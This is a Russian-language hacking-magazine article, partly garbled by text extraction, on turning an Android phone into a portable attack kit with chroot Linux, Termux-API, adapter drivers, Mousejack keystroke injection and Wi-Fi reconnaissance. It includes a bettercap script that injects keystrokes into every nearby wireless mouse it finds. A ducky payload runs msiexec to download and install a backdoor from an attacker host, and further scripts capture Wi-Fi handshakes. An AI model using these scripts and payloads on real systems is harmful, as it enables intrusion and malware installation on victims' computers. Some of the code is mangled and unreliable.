mount -o loop linux.img /data/linux 
# Подключение системных каталогов к Linux-образу
mount -t proc none /data/linux/proc 
mount -t sysfs none /data/linux/sys 

 mount -o bind /dev /data/linux/dev 
mount -t devpts none /data/linux/dev/pts 
# Вход в Linux-контейнер
chroot /data/linux /bin/bash 

Пос ледняя коман да  упро щен но уко рачи вает пути, отбра сывая 

 при каж дом обра щении к фай ловой сис теме. Таким обра зом, все биб- 
лиоте ки и сис темные ком понен ты заг ружа ются исклю читель но из текуще го
катало га, слов но с кор невого раз дела. Это обес печива ет так же изо ляцию
фай ловой сис темы от ФС Android. Но в то же самое вре мя образ вза имо дей- 
ству ет с ядром через сис темные вызовы и псев дофай ловые сис темы, получая
дос туп к час ти железа.

chroot /data/
linux

Что бы удоб нее переда вать фай лы меж ду chroot-кон тей нером и Android-
при ложе ниями, мож но под монти ровать поль зователь скую пап ку :sdcard

mount -o loop /sdcard/ /data/linux/sdcard/

Это может быть удоб но, ког да необ ходимо, нап ример, пос мотреть HTML-
отчет от какой-нибудь хакер ской тул зы при выч ным бра узе ром телефо на.
С это го момен та начина ется пол ноцен ный GNU/Linux в обыч ном мобиль нике
на Android. И даль ше все про исхо дящее напоми нает боль ше клас сичес кое
адми нис три рова ние Linux-дес кто па или сер вера.

Ис поль зование Linux в фор ме обра за и про ще, и пра виль нее. Так сох раня- 
ется в «чис тоте» фай ловая сис тема Android, упро щает ся резер вное копиро- 
вание, ведь физичес ки это один файл, и такая сис тема ста новит ся пор татив- 
ной. Мож но прос то ско пиро вать такой заранее нас тро енный образ на новый
девайс без необ ходимос ти все нас тра ивать с нуля пос ле каж дой замены
телефо на.

Ãðàôè÷åñêèé èíòåðôåéñ
Нес мотря на то что боль шинс тво хакер ских инс тру мен тов кон соль ные, может
пот ребовать ся запуск и гра фичес ких инс тру мен тов. Android лишен при выч- 
ного X-сер вера, отри совы вающе го гра фику. Но, исполь зуя VNC Server, мож но
лег ко устра нить этот недочет:

gui.sh
#!/bin/bash

 cat <<E > ~/.vnc/config
securitytypes=none
geometry=1083x500
localhost
E

vncserver :0 

VNC Server — это тот же самый гра фичес кий X-сер вер, толь ко с удоб ным
интерфей сом под VNC-кли ент, которых, бла года ря откры тос ти про токо ла,
пре дос таточ но даже в виде мобиль ных при ложе ний. Что бы рабочий стол
содер жал при выч ные эле мен ты, нуж но уста новить соот ветс тву ющую сре ду,
нап ример для лег ковес ности мож но исполь зовать LXDE:

apt lxdeinstall 

Те перь, исполь зуя любой мобиль ный VNC-кли ент (нап ример,
com.iiordanov.freebVNC), мож но получить Linux GUI пря мо на телефо не.

Linux сти рает грань меж ду компь юте ром и телефо ном

При наличии при выч ного рабоче го сто ла телефон отли чает ся от ноут бука
толь ко отсутс тви ем кла виату ры. VNC Server име ет еще одну удоб ную и оче- 
вид ную осо бен ность — к нему мож но уда лен но под клю чать ся с дру гих
устрой ств. Это дает воз можность дис танци онно управлять телефо ном в окон- 
ном режиме.

Çâóê â chroot-îêðóæåíèè
В некото рых слу чаях Linux-прог раммам на телефо не может тре бовать ся пол- 
ноцен ный вывод зву ка. Добить ся это го тоже дос таточ но прос то:

apt install pulseaudio 
pulseaudio --start

2 8000 
pactl load-module module-simple-protocol-tcp rate=48000 format=s16le 
channels= source=auto_null.monitor record=true port= listen=127.
0.0.1 

Те перь весь звук из chroot-окру жения выводит ся на локаль ный порт 8000/tcp.
В окру жении Android нуж но запус тить при ложе ние Simple Procotol Player
(com.kaytat.simpleprotocolplayer), которое вос про изво дит получа емый звук.

GNU-Android bridge
Так как работа ведет ся все же на Android, пусть и из chroot-окру жения, может
пот ребовать ся дос туп к его фун кци ям и дат чикам. К сожале нию, на Android
нель зя получить дос туп к некото рому обо рудо ванию через при выч ные сим- 
воль ные устрой ства или сис темные вызовы, так как эта ОС исполь зует силь но
модифи циро ван ное ядро Linux. Самый прос той спо соб — исполь зовать
Termux-API. Он сос тоит из двух ком понен тов. Пер вый ком понент — Android-
при ложе ние com.termux.api, которое с помощью Java-биб лиотек получа ет
штат ный дос туп к камере, дик тофону, дат чикам и про чим ком понен там
телефо на. Вто рой ком понент — пакет Termux-API, который содер жит уже кон- 
соль ные прог раммы, при нима ющие дан ные от пер вого ком понен та.

Для уста нов ки кон соль ных ком понен тов в Termux нуж но выпол нить сле- 
дующую коман ду:

pkg install termux-api 

Бла года ря Termux-API мож но получить дос туп к начин ке телефо на из GNU-
окру жения — при выч ной коман дной стро ки. Это поз воля ет зап рограм- 
мировать что угод но край не прос тым обра зом через коман дную обо лоч ку
Bash.

При ложе ния Termux-API дос тупны толь ко из окру жения кон соли Termux,
но пока не chroot-обра за. Дос туп к кон соли Termux из кон соли chroot-окру- 
жения про ще все го получить по SSH. Для это го в кон соли Termux нуж но нас- 
тро ить SSH-сер вер:

ssh-keygen 
cat .ssh/id_rsa.pub > .ssh/authorized_keys 
sshd 

При ват ный ключ  копиру ется уже в фай ловую сис тему chroot-обра за.

В chroot-окру жении для вза имо дей ствия с Termux-API (нап ример, для дос тупа
к дат чикам Android) Termux-коман ды вызыва ются уже через SSH. Нап ример,
отпра вить Notication в Android из кон соли мож но прос тым скрип том:

id_rsa

android/msg_notification.sh
#!/bin/bash
ssh -i ~/id_rsa -p 8022 localhost "termux-notification -t '$title' 
-c '$text'"

Уве дом ления удоб но исполь зовать для раз личных ата кующих скрип тов.
К тому же уве дом ления поз воля ют задей ство вать и умные часы или, нап- 
ример, про читать вывод коман ды вслух, исполь зуя речевой син тезатор
телефо на:

android/speak.sh
#!/bin/bash
ssh -i ~/id_rsa -p 8022 localhost "termux-tts-speak $text"

Что каса ется дат чиков, что бы получить информа цию с аксе леро мет ра, мож но
исполь зовать такой скрипт:

android/sensors/accelerometer.sh
#!/bin/bash
ssh 

 |  
-i ~/id_rsa -p 8022 localhost "termux-sensor -s 'icm4x6xx 

Accelerometer' -n 1" sed -n 4,6p 

Ин форма ция с такого дат чика поз волит исполь зовать прос транс твен ное
положе ние телефо на в качес тве триг гера для какого-либо дей ствия. Вооб ще,
у Termux-API дос таточ но мно го дат чиков и воз можнос тей.

Èíòåðôåéñ ïîä ïàëåö
Уп равлять всем через тер минал, конеч но, хорошо и удоб но для авто мати- 
зации, но тре бует от ата кующе го набирать кучу команд. Сов ремен ные
телефо ны лишены удоб ной физичес кой кла виату ры, а сен сорные вир туаль- 
ные кла виату ры мало при год ны для ком фор тной работы в коман дной стро ке.
Одна ко интерфейс ата кующих скрип тов мож но упростить.

Termux перево дит нажатия на сен сорный экран телефо на в события мыши.
Некото рые кон соль ные фай ловые менед жеры, нап ример Midnight
Commander, под держи вают работу с фай лами, в час тнос ти запуск скрип тов,
обра баты вая такие события. Поэто му этот фай ловый менед жер может стать
прос тым гра фичес ким интерфей сом для управле ния хакер ски ми скрип тами:

apt mc install 

Все ата кующие скрип ты мож но орга низо вать в виде струк туры фай лов
и папок, логичес ки сгруп пирован ных по типу атак. Бла года ря это му навига ция
нажати ями паль ца ста новит ся поч ти такой же удоб ной, как в обыч ном
мобиль ном при ложе нии.

За пуск ата кующих сце нари ев одной левой, паль цем и без кла виату ры

Удоб но, что Termux под держи вает быс трое изме нение мас шта ба кон соли
с помощью муль титач-жес та. Что бы скрип ты мог ли работать в инте рак тивном
режиме, мож но при дать им еди ный стиль интерфей са, поз воля ющий при нять
парамет ры как через опции коман дной стро ки, так и через инте рак тивный
зап рос того или ино го парамет ра:

#!/bin/bash

  1       [[ $# -ge ]] && arg1="$1" || read -p 'arg1: ' arg1 
  2     [[ $# -ge ]] && arg2="$2" || arg2='default'

... 

Та ким обра зом, любой скрипт мож но запус тить прос тым нажати ем, а если
ему что-то нуж но, то он это зап росит в инте рак тивном режиме. Раз нооб- 
разные хакер ские ути литы пишут ся раз ными людь ми, и интерфей сы этих
прог рамм тоже раз ные. Но исполь зование прос тых Bash-скрип тов в качес тве
обер ток поз воля ет при дать им еди ный стиль, узко заточен ный под каж дую
кон крет ную ата ку.

С помощью таких скрип тов весь хакер ский набор фун кций мож но нас тра- 
ивать самос тоятель но на свой вкус, при давая ему мак сималь ную гиб кость.
А исполь зование для это го коман дной обо лоч ки Bash прак тичес ки не тре бует
серь езно го прог рамми рова ния.

Тем не менее интерфейс голой кон соли всег да мож но обер нуть прос тым
веб-интерфей сом, который вызыва ет те или иные сце нарии и воз вра щает
резуль тат обратно на веб-стра ницу. Как извес тно, веб — это самый прос той
и перено симый GUI.

Ïîäêëþ÷åíèå õàêåðñêèõ äåâàéñîâ ê òåëåôîíó
Вмес то того что бы исполь зовать встро енные Wi-Fi, Bluetooth или etc-кар- 
точки, хакеру про ще задей ство вать внеш ние решения. На рисун ке ниже пред- 
став лены мини атюр ные устрой ства, име ющие скры тый хакер ский потен циал
(вни зу сле ва нап раво):

адап тер с режимом монито ра Ralink RT5370 — для атак Wi-Fi;•
адап тер с воз можностью сме ны MAC-адре са CSR 4.0 — для атак
Bluetooth;

•

адап тер Logitech C-U0007 — для атак Wireless HID (aka Mousejack).•

А так же самый мини атюр ный OTG (в вер хней час ти рисун ка), в зависи мос ти
от телефо на Type-C/MicroUSB. Он нас толь ко мал, что его мож но оставлять
пря мо в любом из пред став ленных адап теров.

Ма лень кие хакер ские игрушки

Продолжение статьи →
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Та кие внеш ние решения име ют явные пре иму щес тва. Во-пер вых, их мож но
исполь зовать и на ноут буке, и на телефо не. Во-вто рых, ата кующий не при- 
вязан к аппа рат ной час ти телефо на или ноут бука. Это сно ва дает авто ном- 
ность, но уже для аппа рат ной сос тавля ющей — при замене телефо на
не будет утра чен хакер ский арсе нал.

Сто ит отме тить, что эти адап теры име ют ана логи мощ нее, но уже в круп- 
ном кор пусе, более под ходящем к работе с ноут бука. Одна ко ноут бук —
это инс тру мент для атак из надеж ного укры тия, а телефон мож но исполь- 
зовать в полевых усло виях. Поэто му потен циаль ному зло умыш ленни ку куда
важ нее не прив лекать к себе вни мание. А мень шая мощ ность сиг нала может
быть лег ко ком пенси рова на воз можностью подой ти мак сималь но близ ко
к целям атак.

Для исполь зования боль шинс тва внеш них девай сов ата кующе му тре бует- 
ся соб рать соот ветс тву ющий драй вер. Что бы под готовить драй веры под то
или иное устрой ство, вов се необя затель но иметь исходные коды точ ной вер- 
сии текуще го ядра Linux, на котором работа ет телефон. Впол не дос таточ но
ска чать исходни ки близ кой вер сии ( ). Что бы не засорять фай ловую

сис тему основно го обра за, луч ше исполь зовать для хра нения исходных кодов
ядра отдель ный образ, который может менять ся от телефо на к телефо ну.
Пару шагов назад уже было про демонс три рова но соз дание обра за из фай ла.
И тут под разуме вает ся, что нуж но сде лать то же самое, толь ко вмес то уста- 
нов ки Linux в образ сле дует ска чать и рас паковать исходни ки ядра. Пос ле
чего допол нитель ный образ мон тиру ется уже при выч ным спо собом
из Android-окру жения в каталог chroot-окру жения:

uname -r

mount -o loop kernel.img /data/linux/usr/src/linux 

Как толь ко опре делен драй вер, который нуж но соб рать, необ ходимо запус- 
тить ком пиляцию толь ко одно го выб ранно го модуля (плюс его воз можных
зависи мос тей):

make menuconfig 
make modules M=path/to/component 
make modules_install 

За меть, тут не про исхо дит ком пиляции всех модулей и уж тем более
не переком пилиру ется все ядро. В этом слу чае собира ется толь ко один
необ ходимый модуль и его воз можные зависи мос ти.

Итак, вот при мер ный уни вер саль ный алго ритм сбор ки драй вера. На ноут- 
буке с Linux запус кает ся коман да

udevadm monitor 

Да лее в ноут бук нуж но вста вить наш девайс, и по реак ции сис темы мож но
уви деть заг рузку нуж ного драй вера, управля юще го устрой ством.

Прог рамма udevadm в режиме реаль ного вре мени показы вает, как сис- 
тема реаги рует на изме нение аппа рат ной час ти компь юте ра. И где-то в ее
выводе мож но уви деть под груз ку тре буемых драй веров.

Ре акция ОС на под клю чение устрой ства

На рисун ке вид но, какие драй веры под хва тыва ют внеш нюю Wi-Fi-кар ту.
Да лее на телефо не нуж но перей ти в режим инте рак тивно го кон фигури- 

рова ния дерева исходных кодов ядра:

cd /usr/src/linux 
sudo make menuconfig 

Для поис ка нуж ного модуля по име ни нажать /. Резуль татом будет 
(рас положе ние модуля) и  — собс твен но имя модуля. Имен но имя

нуж но отыс кать, переме щаясь по катало гам инте рак тивно го меню, и перек- 
лючить в сос тояние m. Это озна чает, что в ходе ком пиляции он будет офор- 
млен в виде отдель ного под гру жаемо го модуля.

Location
Prompt

Те перь тре бует ся соб рать толь ко выб ранный драй вер, ука зав его
, и ско пиро вать в спе циаль ный сис темный каталог :Location /lib/modules

make modules M=path/to/component 
sudo make modules_install SUBDIRS=path/to/component 

Пос ле чего мож но под клю чать девайс в телефон, пред варитель но заг рузив
драй вер:

sudo modprobe somemodule 
 sudo insmod /lib/modules/`uname -r`/extra/somemodule.ko 

Ча ще все го это го хва тает, но иног да, осо бен но ког да речь идет о сетевых
кар тах, прос той заг рузки драй вера через modprobe может быть недос таточ- 
но. Могут пот ребовать ся допол нитель ные дей ствия, свя зан ные с пос тобра- 
бот кой. Эту задачу авто мати чес ки выпол няет udev.

Сис тема udev монито рит изме нение кон фигура ции аппа рат ной час ти
через sysfs и реаги рует на это тем или иным обра зом, вклю чая под груз ку тре- 
буемых драй веров и выпол няя по необ ходимос ти допол нитель ные дей ствия.
Тре бует ся лишь пред варитель но запус тить сис тему udev перед под клю чени- 
ем устрой ства:

sudo /lib/systemd/systemd-udevd –debug 

При мер но таким обра зом мож но под ружить телефон прак тичес ки с любым
внеш ним устрой ством. Ведь сов ремен ный телефон — не прос то телефон,
а нас тоящий кар манный компь ютер.

MOUSEJACK

Те му атак с телефо на мне хотелось бы начать, пожалуй, с самой опас ной бес- 
про вод ной физичес кой уяз вимос ти — Mousejack. Эта ата ка прос то иде аль но
под ходит под экс плу ата цию со смар тфо на. А ее импакт… Если бы я толь ко
мог ска зать, сколь ко круп ных ком паний было про бито подоб ным обра зом
прос то с ули цы…

Mousejack — это ата ка на бес про вод ные перифе рий ные устрой ства, а точ- 
нее, на их адап теры. Эта ата ка во всей ее мощи опи сана в статье «

».
Экс плу ата ция силь но похожа на , с той лишь раз ницей, что
ата ку совер шают на рас сто янии.

Ме гад рон.
Стро им хакер ский бес пилот ник — даль нобой ный и с защитой от глу шилок

BadUSB-флеш ки

Ре аль ная успешность нап рямую зависит от количес тва обна ружен ных бес- 
про вод ных мышек и кла виатур, ведь не все они могут быть уяз вимы. Поэто му
ее нуж но про водить мак сималь но под вижно, нап ример с дро на. Но такая ата- 
ка может быть дос таточ но шум ной, исполь зование же телефо на дела ет ее
прак тичес ки невиди мой.

В таком исполне нии не пот ребу ется даже собирать никаких спе циаль ных
драй веров, нужен толь ко root. На стен де, изоб ражен ном на рисун ке ниже,
телефон напеча тал сло во test на компь юте ре, исполь зуя ради ока нал и адап- 
тер бес про вод ной мыш ки.

Те лефон на рас сто янии нажима ет кла виши ноут бука с бес про вод ной
мышью

А на сле дующем рисун ке реаль ный при мер, ког да телефон с помощью такой
ата ки передал кое-что посерь езнее и про бил периметр одно го из заводов
пря мо с ули цы, то есть по модели внеш него наруши теля.

Про битие перимет ра завода: телефон набира ет на уяз вимом компь юте -
ре коман ду для ска чива ния и запус ка бэк дора

Сот рудник по ту сто рону окна, думаю, сра зу понял, что его вов се не сни мали
на телефон, а толь ко что хак нули через Mousejack (в рам ках легаль ных работ
по пен тесту). На экра не телефо на вид но приг лашение коман дной стро ки
компь юте ра и вход во внут реннюю сеть завода.

Эта ата ка — самая опас ная из всех физичес ких атак ближ него ради уса,
а ее про веде ние тре бует минималь ных тех ничес ких уси лий.

Ата кующий, как пра вило, заранее не зна ет, у кого и где обна ружат ся уяз- 
вимые бес про вод ные устрой ства. Более того, даже если бы и знал, то их
MAC-адре са точ но не написа ны на самих устрой ствах. Так что тре бует ся ата- 
ковать все и сра зу. При веден ный ниже скрипт прос лушива ет ради оэфир бес- 
про вод ных перифе рий ных устрой ств и на каж дый обна ружен ный новый
девайс авто мати чес ки отправ ляет ата кующие нажатия:

whid/attack.sh
#!/bin/bash

  1       [[ $# -ge ]] && ducky=$(realpath "$1") || ducky=$(realpath 'ducky.
txt')

  2     [[ $# -ge ]] && target="$2" || target=''

      if [ "x" != "x$target" ]; then
  sudo bettercap -eval "hid.recon on; hid.inject $target US $ducky;" 

2> /dev/null 
else

 
 US  2  US 

 2  US 

 sudo bettercap -eval "hid.recon on; events.on hid.device.new "hid.
inject {{address}} $ducky; sleep ; hid.inject {{address}}
$ducky; sleep ; hid.inject {{address}} $ducky;"" 2> /dev/null 

Для надеж ности на каж дое обна ружен ное устрой ство попыт ка отпра вить
нажатия выпол няет ся триж ды. Если в каком-то мес те ата кующий обна ружил
бес про вод ную мышь и уве рен, что это его объ ект ата ки, то он может запус- 
тить этот скрипт, при менив ата ку толь ко к выб ранно му устрой ству.

В качес тве полез ной наг рузки — нажатий, ска чива ющих и уста нав лива- 
ющих бэк дор, — исполь зуют ся 

:
зна комые нам по BadUSB-HID полез ные наг- 

рузки

whid/ducky.txt
GUI r 
DELAY 300 
STRING msiexec /i https://en.mousejack.attacker.tk/1.msi /quiet 
DELAY 300 
ENTER 

DELAY 300 
GUI SPACE 
DELAY 300 

GUI r 
DELAY 300 
STRING msiexec /i https://ru.mousejack.attacker.tk/1.msi /quiet 
DELAY 300 
ENTER 

Для успешной экс плу ата ции тре бует ся про водить нажатия для каж дой язы- 
ковой рас клад ки. Вве ден ная коман да при попыт ке ска чать исполня емый файл
выпол няет DNS-зап рос, который идет на под кон троль ный сер вер зло умыш- 
ленни ка, что слу жит для него сиг налом успешнос ти RCE.

Кон троль но-про пус кной пункт, физичес кий периметр вбли зи офи сов, пос- 
ты охра ны, ресеп шен, квар тиры, да что угод но — все это цели дан ной ата ки,
но толь ко лишь с зем ли. С воз духа же, , такая ата ка дотянет- 
ся куда угод но.

с помощью дро на

Сов ремен ные реалии таковы, что с помощью такой ата ки взло мать мож но
прак тичес ки любую ком панию.

WI-FI

Ата ки на Wi-Fi мы рас смат рива ем уже в тре тий раз. Впер вые — 
. Это ста тич ные и дли тель ные по вре мени ата ки, неудоб ные

по рас положе нию, которые реали зова ны мини атюр ной пла той, спря тан ной
непода леку от объ ектов атак. Во вто рой раз — . Ата кующий может
уже не дожидать ся нас тупле ния тех или иных событий, нап ример появ ления
кли ентов в области дей ствия, а лететь к ним самос тоятель но. И это быс трые
и динамич ные ата ки.

в форм-фак- 
торе Pineapple

на дро не

С телефо ном — это уже инте рак тивные ата ки. Ведь теперь у ата кующе го
появ ляет ся дис плей и кла виату ра. И ата ковать он может как «в ширину», так
и «в глу бину». «В ширину» — то есть ата ковать все вок руг в течение неболь- 
шого про межут ка вре мени, если поб лизос ти мно жес тво целей. «В глу бину» —
то есть про водить более дли тель ные тар гетиро ван ные ста тич ные ата ки, где
ата кующе му, воз можно, при дет ся задер жать ся на какое-то вре мя.

Для реали зации Wi-Fi-атак с телефо на в полови не слу чаев нель зя обой- 
тись без внеш него адап тера.

Ха кер ский режим Wi-Fi сетевой кар ты

При чина прос та: на встро енных Wi-Fi-адап терах, как пра вило, заб локиро ван
monitor-режим. Одна ко кое-какие вещи все же мож но сде лать и обыч ным
адап тером, но об этом чуть поз же. Для телефо на выб ран мини атюр ный Wi-Fi-
адап тер с режимом монито ра. В дан ном слу чае для его работы необ ходим
драй вер . Нуж но вклю чить сле дующие опции ядра и соб рать

тре буемый код как модуль:

rt2800usb.ko

CONFIG_RT2800USB=m
CONFIG_RT2800USB_RT53XX=y

  make modules M=drivers/net/wireless/ralink/rt2x00

Этот модуль тре бует стек mac80211, сле дова тель но, при дет ся дособ рать
и его:

CONFIG_MAC80211=m
CONFIG_CFG80211=m
CONFIG_RFKILL=m

  make modules M=net/mac80211
  make modules M=net/wireless
  make modules M=net/rfkill
 make modules_install

Те перь, непос редс твен но перед под клю чени ем Wi-Fi-адап тера в телефон,
оста ется запус тить udev, что бы он не толь ко под гру зил модуль, но и выпол нил
некото рую пос тобра бот ку:

sudo /lib/systemd/systemd-udevd –debug 

Ес ли все нор маль но, то появит ся дол гождан ный  — допол нитель ный
внеш ний Wi-Fi-интерфейс.

wlan1

Для хакера, собира юще гося ата ковать Wi-Fi, край не важ но иметь воз- 
можность перево дить бес про вод ной интерфейс в режим монито ра. Если

 не может перевес ти кар ту в дан ный режим, это может озна чать, что

кар та не под держи вает работу со ста рым бес про вод ным сте ком ieee80211.
В таком слу чае мож но вос поль зовать ся новым mac80211-сте ком с помощью
более сов ремен ной и мощ ной ути литы . Запуск режима монито ра в сти ле

mac80211-сте ка выпол няет ся сле дующи ми коман дами:

iwconfig

iw

ip sudo link set wlan1 name mon0 
sudo iw mon0 set monitor control 
sudo ifconfig mon0 up 

Пос ле под клю чения внеш него Wi-Fi-адап тера сис тема опре деля ет его
как . Далее интерфейс пере име новы вает ся в  и вклю чает ся режим
монито ра. В ито ге на телефо не в одно и то же вре мя есть  на встро- 

енном бес про вод ном адап тере и  на внеш нем. Мож но, нап ример, запус- 

кать точ ку дос тупа и монито рить сырые пакеты или рас сылать пакеты деаутен- 
тифика ции.

wlan1 mon0
wlan0

mon0

По лучи лось дос таточ но мно го команд. В даль нейшем всю про цеду ру ини- 
циали зации внеш него Wi-Fi-адап тера мож но авто мати зиро вать с помощью
соот ветс тву юще го скрип та:

wifi/start.sh
#!/bin/bash

sudo /lib/systemd/systemd-udevd --debug & 
udevd=$!
count=$(lsusb|wc -l)

1          while sleep ; do if [ $(lsusb|wc -l) -ne $count ]; then break; fi;
done

2 sleep 
 sudo kill $udevd

ip sudo link set wlan1 name mon0 
sudo iw mon0 set monitor control 
sudo ifconfig mon0 up 

Скрипт выпол няет всю необ ходимую нас трой ку, вклю чая заг рузку нуж ного
драй вера, нас трой ку сетево го интерфей са и, конеч но же, акти вацию режима
монито ра. Запус кать его нуж но перед под клю чени ем внеш него Wi-Fi-адап- 
тера в телефон. Скрипт дож дется изме нения в сос тоянии USB-устрой ств,
акти виру ет режим монито ра и самос тоятель но завер шится.

Ис поль зуя исходни ки из пакета , мож но соб рать

драй вер  и под клю чить к телефо ну Alfa.

realtek-rtl88xxau-dkms
88XXau.ko

Wi-Fi-адап тер с активным уси лени ем управля ется телефо ном

Ха керу удоб но исполь зовать телефон с мини атюр ными USB-девай сами,
но это не всег да воз можно. И спе циаль но для таких боль ших устрой ств мож- 
но исполь зовать 180-гра дус ный OTG-адап тер. Он поз воля ет удоб но
и незамет но под клю чать подоб ные мас сивные девай сы к телефо ну.

Не замет ное под клю чение мас сивных USB-устрой ств к телефо ну

Раз мещать устрой ства на зад ней стен ке телефо на весь ма удоб но, ведь так
они зак рыва ются ладонью, ког да телефон лежит в руке. С лицевой сто роны
прак тичес ки ничего не замет но.

Wi-Fi-адап тер Alfa в дей ствии

В то же вре мя конс трук ция под клю чен ного таким обра зом внеш него устрой- 
ства не меша ет убрать его вмес те с телефо ном в кар ман. Но не сто ит
забывать и про встро енный в телефон Wi-Fi-адап тер, который по-преж нему
дос тупен ата кующе му как . Полови ну из рас смат рива емых далее атак
мож но про вес ти исклю читель но с его исполь зовани ем.

wlan0

Вре мя перехо дить непос редс твен но к ата кам. Мно гие из пос леду ющих
атак уже рас смот рены в статье «

». Одна ко не все из них целесо образно выпол нять непос- 
редс твен но с такого девай са. Все-таки Pineapple — это авто ном ное устрой- 
ство без экра на и кла виату ры, которое луч ше под ходит для малопод вижных
авто ном ных атак.

Гроз ный ана нас. Собира ем и при меня ем
свой Wi-Fi Pineapple

С телефо ном исполь зует ся сов сем иной под ход, ведь с ним мож но инте- 
рак тивно вза имо дей ство вать. Поэто му телефон луч ше под ходит для под- 
вижных атак, успешность которых, нап ример, зависит от вза имо дей ствия
с мно жес твом целей, рас сре дото чен ных по пло щади.

Ðàçâåäêà
Лю бая ата ка начина ется с раз ведки, и Wi-Fi не исклю чение. Край не широкое
рас простра нение бес про вод ных точек дос тупа может пот ребовать сна чала
опре делить име на сетей — объ екты атак либо же их геог рафичес кое мес- 
тополо жение для пос леду ющих более при цель ных атак. И телефон — самое
удоб ное средс тво для этой задачи. Он не вызыва ет подоз рений, и на его дис- 
плее, в отли чие от Pineapple, мож но смот реть резуль таты.

Соб рать пол ную Wi-Fi-кар тину дос таточ но лег ко с помощью .

Так как на бор ту любого сов ремен ного телефо на есть GPS, мож но зафик- 
сировать при мер ное мес тополо жение каж дого бес про вод ного устрой ства.
Наибо лее изящ ное решение — исполь зовать gpsd, работа с которым под- 
держи вает ся мно жес твом инс тру мен тов, вклю чая . Прог рамма

gpsd пре дос тавля ет удоб ный слой абс трак ции, еди ный сер верный интерфейс
для боль шинс тва исполь зующих GPS Linux-ути лит и не тре бует каж дый раз их
нас тра ивать. Сам gpsd может получить информа цию о спут никах мно жес твом
спо собов. Про ще все го передать их через NMEA-поток UDP-пакетов. Сде- 
лать это мож но с помощью Android-при ложе ния, такого как 

 или .

airodump-ng

airodump-ng

io.github.
tiagoshibata.gpsdclient name.kellermann.max.bluenmea

Од нако в зда ниях GPS не поможет, потому что его там поп росту нет. Сиг- 
нал от спут ников слиш ком сла бый, и через прег рады в виде стен он не про- 
ходит. Зато спо соб ность телефо на опре делять мес тополо жение по мобиль- 
ным сетям, при чем дос таточ но точ но, может помочь ата кующе му при раз- 
ведке внут ри зда ний.

По луче ние коор динат внут ри помеще ний по мобиль ным сетям

Продолжение статьи →
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Мож но видеть, как termux-location опре деля ет внут ри зда ния широту (latitude)
и дол готу (longitude) исклю читель но по сотовым выш кам, Wi-Fi-сетям и дат- 
чикам положе ний. Даль ше он переда ет это скрип ту , который генери- 

рует син тетичес кий NMEA-поток, нап равля емый в локаль ный gpsd. В резуль- 
тате все работа ющие с GPS Linux-ути литы счи тают это коор дината ми от спут- 
ников.

nmea.py

android/location.sh
#!/bin/bash

  1       [[ $# -ge ]] && provider="$1" || read -p 'gps/network: ' provider 

 :  while ; do
   +   echo -n $(date "%d.%m.%Y-%H:%M:%S") ""

 ssh -i ~/id_rsa-local -p 8022 lo "termux-location -r last -p 
$provider | grep -e latitude -e longitude | awk '{print \$2}' | tr 
-d '\n' | tr ',' ' '"
  echo ""
 5 sleep 
done

src/gps/nmea.py
#!/usr/bin/python3
import pynmea2 
import time
import socket 
from sys import argv 

ip = argv[1] 
port  int= (argv[2])
s = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)

: def lat_sd_to_dm(latitude)
   if latitude < 0: 

        lat_dir = 'S'
   : else

        lat_dir = 'N'
  % abs int  abs

  60
   lat = ('%010.5f' ( ( (latitude)) * 100 + ( (latitude) % 
1.0) * )).rstrip('0')
   return lat_dir,lat 

: def lon_sd_to_dm(longitude)
   if longitude < 0: 

        lon_dir = 'W'
   : else

        lon_dir = 'E'
  % abs int  abs

  60
   lon = ('%011.5f' ( ( (longitude)) * 100 + ( (longitude) 
% 1.0) * )).rstrip('0')
   return lon_dir,lon 

while True: 
   line = input()
   try: 
       datetime,lat,lon = line.split()
       print(lat,lon)

float lat       lat_dir,lat = lat_sd_to_dm( ( ))
float lon       lon_dir,lon = lon_sd_to_dm( ( ))

, , 
, , , , , , , 

, 

       gga = pynmea2.GGA('GP' 'GGA' (time.strftime("%H%M%S"), lat,
lat_dir, lon, lon_dir, '1' '04' '2.6' '1.00' 'M' '-33.9' 'M'

'' '0000'))
, , , 

, , 
       rmc = pynmea2.RMC('GP' 'RMC' (time.strftime("%H%M%S") 'A'
,  lat, lat_dir, lon, lon_dir, '0' '0.0', time.strftime("%d%m%y")
'A'))

nmea         for in [gga,rmc]: 
str nmea           print( ( ))

str nmea + ,            s.sendto(( ( ) "\n").encode() (ip, port))
   except: 

line       print( )

Кста ти, такой скрипт мож но исполь зовать и для пре обра зова ния уже обыч ных
GPS-коор динат к NMEA:

~/android/location.sh gps | ~/src/gps/nmea.py ip port 

В резуль тате в ходе монито рин га бес про вод ных сетей ста новит ся дос тупной
еще и информа ция о мес тополо жении.

Airodump-ng теперь фик сиру ет мес тополо жение по GPS

Прог рамма airodump-ng прек расно про водит раз ведку бес про вод ных сетей
с при целом на безопас ность, отоб ражая исчерпы вающую информа цию
и генери руя мас су полез ных лог-фай лов и отче тов. Но раз ведка, нап равлен- 
ная на пелен гацию точек дос тупа с исполь зовани ем GPS, может быть выпол- 
нена нам ного луч ше с помощью Kismet. Мощь раз ведыва тель ного потен- 
циала Kismet про демонс три рова на в статье «

». Для под клю чения
Kismet к gpsd тре бует ся рас коммен тировать все го одну дирек тиву в кон фиге:

Ме гад рон. Стро им хакер ский
бес пилот ник — даль нобой ный и с защитой от глу шилок

/etc/kismet/kismet.conf
2947 gps=gpsd:host=127.0.0.1,port=

За пус кать прог раммы для зах вата и ана лиза бес про вод ных устрой ств, такие
как airodump-ng, hcxdumptool, tcpdump, а так же Kismet, мож но одновре мен но,
они не меша ют друг дру гу работать. В резуль татах будет боль шое количес тво
раз нооб разных дам пов и логов. Запуск ути лит для зах вата и отоб ражения
дан ных о ради оэфи ре и их ана лиза авто мати зиру ется все го одним скрип том:

wifi/recon.sh
#/bin/bash

  1     [[ $# -ge ]] && opts=("$@") || opts=()

gpsd  -N 'udp://*:2947' & 
gpsd=$!

out-  +dumpfile= $(date '%d.%m.%Y-%H:%M:%S')

sudo kismet -c mon0 --silent & 
kismet=$!

 tmux new-session -d -s recon -n hcxdumptool "sudo hcxdumptool -i 
mon0 --enable_status=8 -o $dumpfile.pcapng --silent --passive"
tmux new-window -t recon -n airodump-ng "sudo airodump-ng mon0 
--gpsd -w $dumpfile --uptime --manufacturer --wps -a"

  tmux a -t recon \; select-window -t hcxdumptool 

   tcpdump -r $dumpfile.pcapng -nn -w $dumpfile.pcap 
  rm -f $dumpfile.pcapng 

 sudo kill $kismet
 kill $gpsd

  read -p 'generate reports?' next 

